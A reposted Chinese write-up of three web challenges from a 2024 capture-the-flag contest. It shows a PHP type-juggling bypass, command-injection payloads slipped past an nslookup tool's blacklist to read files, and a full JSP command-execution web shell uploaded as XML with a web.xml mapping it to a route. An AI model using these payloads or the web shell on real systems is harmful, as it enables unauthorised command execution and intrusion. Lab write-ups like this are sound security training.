当前位置: 首页 > article >正文

2024 “源鲁杯“ Round[1] web部分

Disal

打开页面没有有用信息,查看robots.txt发现f1ag.php,访问查看源代码:

<?php
show_source(__FILE__);
include("flag_is_so_beautiful.php");
$a=@$_POST['a'];
$key=@preg_match('/[a-zA-Z]{6}/',$a);
$b=@$_REQUEST['b'];

if($a>999999 and $key){
    echo $flag1;
}
if(is_numeric($b)){
    exit();
}
if($b>1234){
    echo $flag2;
}
?> 

这里要求a>999999且a的值为字母恰好出现六次。用十六进制编码绕过。令a=0xFFFFFF

b使用数组绕过。令b[]=12345。拿到flag

shxpl

页面是一个nslookup 工具

经过测试发现过滤参数很多

可用more查看文件,dir查看目录

www.baidu.com&dir

看到源代码index.php

www.baidu.com&more<index.php

拿到源码关键部分:

<?php

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $domain = $_POST["domain"];
    if(!preg_match("/ls|flag|tac|cat|\'|\"|`|tail|;|\\$|=| |\\\|base|\||\*|\?/i",$domain)){
        $output = shell_exec("nslookup " . $domain);
        echo "<h2>Results for $domain:</h2>";
        echo "<pre>" . htmlspecialchars($output) . "</pre>";
    }else{
        echo "<pre>" . htmlspecialchars("异常输入,禁止回显!")

这里的话空格被过滤,如果直接在框中输入"dir%09/"查看根目录,%09会被过滤为%2509,所以可以用BP抓包查看根目录

www.baidu.com%26dir%09/

读取flag payload:

www.baidu.com%26more%09/f[l]ag_l4mnyerd

TOXEC

文件上传页面,发现可以上传xml文件,但不能上传jsp木马

上传一个shell.xml文件,内容为jsp的回显马,这里注意上传路径../WEB-INF/shell.xml

<% if(request.getParameter("cmd")!=null){  
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();  
    int a = -1;  
    byte[] b = new byte[2048];  
    out.print("<pre>");  
    while((a=in.read(b))!=-1){  
        out.print(new String(b));  
    }  
    out.print("</pre>");  
}  

%>

再上传一个web.xml,将xml解析为jsp。这里注意上传路径../WEB-INF/web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
    <servlet>
        <servlet-name>exec</servlet-name>
        <jsp-file>/WEB-INF/shell.xml</jsp-file>
        <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>exec</servlet-name>
        <url-pattern>/exec</url-pattern>
    </servlet-mapping>
</web-app>

最后访问exec路径即可


http://www.kler.cn/news/361672.html

相关文章:

  • laravel 查询数据库
  • STM32端与C#端的连接与交互[外设][代码记录]
  • AutoSar AP CM实例说明符的使用方法总结
  • Redis中String类型常见的应用场景
  • Java | Leetcode Java题解之第496题下一个更大元素I
  • 开源表单生成器OpnForm
  • 无线网卡知识的学习-- mac80211主要代码流程
  • Eclipse 软件:配置 JDBC、连接 MySQL 数据库、导入 jar 包
  • PDT 数据集:首个基于无人机的高精密度树木病虫害目标检测数据集
  • 大数据学习---快速了解clickhouse数据库
  • Python 网络爬虫教程
  • VScode远程开发之remote 远程开发(二)
  • 华为云桌面:构建灵活高效的数字化工作环境
  • Java项目实战II基于微信小程序UNIAPP+SSM+MySQL的电子点餐系统(开发文档+数据库+源码)
  • Python Q-learning 算法详解与应用案例
  • CTF(九)
  • 大范围实景三维智能调色 | 模方自动化匀色解决方案
  • 【贪心算法】(第十篇)
  • 转行AI产品经理,第二步怎么走
  • Spring Boot 实现 WebSocket(注解方式)
  • 中电金信:大模型时代 金融机构企业架构转型如何更智能化?
  • AUTOSAR_EXP_ARAComAPI的5章笔记(16)
  • 基于SSM的教务信息平台【附源码】
  • Java | Leetcode Java题解之第494题目标和
  • hdfs的客户端(big data tools插件)
  • golang 基本数据类型